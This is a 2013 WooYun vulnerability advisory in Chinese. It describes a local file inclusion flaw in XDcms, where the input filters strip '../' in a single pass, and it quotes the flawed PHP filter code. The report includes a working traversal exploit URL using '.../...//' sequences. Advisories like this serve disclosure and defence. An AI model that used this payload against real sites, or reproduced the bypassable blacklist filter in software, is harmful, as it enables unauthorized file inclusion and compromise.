当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-043382

漏洞标题:XDcms控制器绕过漏洞(可本地包含)

相关厂商:xdcms.cn

漏洞作者: 西毒

提交时间:2013-11-19 19:16

修复时间:2013-11-24 19:17

公开时间:2013-11-24 19:17

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-11-19: 细节已通知厂商并且等待厂商处理中
2013-11-24: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

程序本身有过滤函数,但是经过精心构造好的链接,可导致绕过其过滤函数,达到任意调用其他文件,控制器可以任意调用

详细说明:

程序本身有过滤函数,但是经过精心构造好的链接,可导致绕过其过滤函数,达到任意调用其他文件,控制器可以任意调用
在system\function\global.inc.php中
//接收参数
$m=safe_replace(safe_html(isset($_GET["m"]))) ? safe_replace(safe_html($_GET["m"])) : "content";
$c=safe_replace(safe_html(isset($_GET["c"]))) ? safe_replace(safe_html($_GET["c"])) : "index";
$f=safe_replace(safe_html(isset($_GET["f"]))) ? safe_replace(safe_html($_GET["f"])) : "init";
//判断模块是否存在
//echo MOD_PATH; //F:\wwwroot\system/modules/
if(!file_exists(MOD_PATH.$m)){
showmsg(C('module_not_exist'),'/');
}
//echo $c;
//exit();
//判断类文件是否存在
//echo MOD_PATH.$m."/".$c.".php";exit();
if(!file_exists(MOD_PATH.$m."/".$c.".php")){
//echo 'aaaa';
showmsg(C('class_not_exist'),'/');
}
include MOD_PATH.$m."/".$c.".php"; //调用类

跟踪safe_replace函数以及safe_replace函数
//安全过滤函数
function safe_html($str){
if(empty($str)){return;}
$str=preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\=|\/\*|\*|\.\.\/|\.\/| union | from | where | group | into |load_file
|outfile/','',$str);
//echo $str."<br/>";
return htmlspecialchars($str, ENT_COMPAT ,'GB2312');
}
function safe_replace($string) {
$string = str_replace('%20','',$string);
$string = str_replace('%27','',$string);
$string = str_replace('%2527','',$string);
$string = str_replace('*','',$string);
$string = str_replace('"','&quot;',$string);
$string = str_replace("'",'',$string);
$string = str_replace('"','',$string);
$string = str_replace(';','',$string);
$string = str_replace('<','&lt;',$string);
$string = str_replace('>','&gt;',$string);
$string = str_replace("{",'',$string);
$string = str_replace('}','',$string);
$string = str_replace('\\','',$string);
return $string;
}
其中safe_html函数过滤了常见的注入 以及. / /* 等
但是我们仔细研究,他会过滤如../这样的跳转,但是我们精心这样构造即可达到绕过其限制,达到任意包含文件
当我们构造如…/…//这样的后缀时, 经过safe_html函数过滤掉../ 即剩下../了,这样就绕过其限制了
Exp如下
http://localhost/index.php?m=content&c=.../...//.../...//.../...//index&f=lists&catid=11
这样即可任意调用php文件

漏洞证明:

当我们构造如…/…//这样的后缀时, 经过safe_html函数过滤掉../ 即剩下../了,这样就绕过其限制了
Exp如下
http://localhost/index.php?m=content&c=.../...//.../...//.../...//index&f=lists&catid=11
这样即可任意调用php文件

修复方案:

这个。。。这个。。。其实你充分过滤吧,这种绕过案例太多了

版权声明:转载请注明来源 西毒@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2013-11-24 19:17

厂商回复:

最新状态:

暂无